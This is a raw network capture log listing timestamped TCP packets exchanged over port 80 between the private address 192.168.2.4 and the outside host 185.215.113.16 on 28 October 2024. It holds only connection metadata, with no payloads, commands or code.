Oct 28, 2024 23:47:23.678805113 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678817987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.678836107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678836107 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.678849936 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.679152966 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.679177999 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.679251909 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.718584061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.718601942 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.718611002 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.718792915 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.720885038 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.720932007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.720947981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.720997095 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.741300106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.741323948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.741338968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.741394043 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.741424084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742029905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742046118 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742060900 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742075920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742122889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742145061 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742338896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742355108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742369890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742384911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742409945 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742435932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742450953 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742465019 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742506027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742506027 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742541075 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742557049 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742572069 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742585897 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742618084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742753029 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742824078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742834091 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742839098 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.742953062 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.742988110 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.743004084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.743017912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.743066072 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.743143082 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.743156910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.743170977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.743194103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.743240118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.743240118 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.783516884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783677101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783721924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783730030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783756018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783771992 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783802986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783819914 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783844948 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783860922 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783876896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783878088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.783893108 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783910036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783927917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783942938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783957958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783973932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.783977985 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.783978939 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.783998013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.784018040 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.784018040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.784018040 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.784033060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.784095049 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.795125008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.795176983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.795212984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.795268059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.795330048 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.795732975 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.795770884 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.795806885 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.795865059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796000004 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796056032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796062946 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796093941 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796145916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796181917 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796216011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796241999 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796251059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796256065 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796310902 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796341896 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796392918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796428919 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796437979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796437979 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796498060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796499014 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796531916 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796583891 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796619892 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796641111 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796653986 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796680927 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796705961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796740055 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796775103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796808958 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796864033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796873093 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796873093 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.796916008 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796952963 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.796987057 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797022104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797043085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797043085 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797063112 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797133923 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797148943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797182083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797218084 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797271013 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797271967 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797303915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797338009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797363997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797363997 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797374010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797408104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797477961 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797549009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797581911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797616005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797636986 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797652960 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797688007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797698975 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797741890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797775984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797810078 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797831059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797831059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797843933 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797879934 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797908068 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.797935963 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.797971964 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.837579012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.837621927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.837660074 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.837896109 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.839751005 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.839781046 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.839816093 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.839842081 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.839849949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.839929104 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865236998 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865298033 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865339041 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865371943 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865374088 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865390062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865406990 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865426064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865458012 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865492105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865525007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865541935 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865559101 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865595102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865602016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865629911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865643024 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865681887 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865720987 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865772009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865777016 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865808010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865843058 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865855932 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865879059 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865890980 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865911961 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865947962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.865964890 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.865986109 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.866020918 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.866053104 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.866065025 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.866074085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.866126060 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.866173029 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.902410030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902513981 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902533054 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902568102 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902590036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902673006 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.902683973 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902735949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902750969 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.902787924 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902822018 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902857065 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902879953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.902889967 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902924061 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902972937 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.902972937 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.902997971 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.903008938 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.903062105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.903089046 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.903115034 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.903148890 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.903199911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.903222084 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.903234959 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.903269053 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.903306007 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.907007933 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.914057016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.914092064 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.914127111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.914164066 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.914608955 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.914659023 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.914678097 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.914693117 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915000916 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915015936 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915050030 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915103912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915133953 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915153980 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915186882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915220976 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915255070 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915272951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915287971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915307045 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915339947 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915390968 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915426016 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915469885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915469885 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915472984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915504932 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915580988 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915693045 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915745020 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915771008 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915779114 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915827036 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915862083 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915901899 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915911913 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915934086 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.915949106 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.915983915 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916018009 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916038990 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916052103 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916086912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916124105 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916138887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916138887 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916160107 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916193962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916228056 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916249990 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916265011 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916333914 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916419983 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916472912 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916539907 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916567087 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916605949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916641951 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916656971 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916690111 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916724920 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916758060 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916771889 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916794062 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916822910 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916865110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916865110 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.916944027 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.916996956 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.917047977 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.917073011 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.917082071 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.917108059 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.917115927 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.917371035 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.956391096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.956444025 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.956506968 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.958661079 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.958690882 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.958741903 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.958776951 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.958795071 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.958810091 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.958842993 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.958884954 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.958920002 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.984157085 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984270096 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984304905 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984339952 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984354973 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.984375954 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984410048 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984431982 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.984442949 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984503984 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984529018 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.984539032 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984586000 CET	49740	80	192.168.2.4	185.215.113.16
Oct 28, 2024 23:47:23.984591007 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984627962 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984663010 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984695911 CET	80	49740	185.215.113.16	192.168.2.4
Oct 28, 2024 23:47:23.984709978 CET	49740	80	192.168.2.4	185.215.113.16
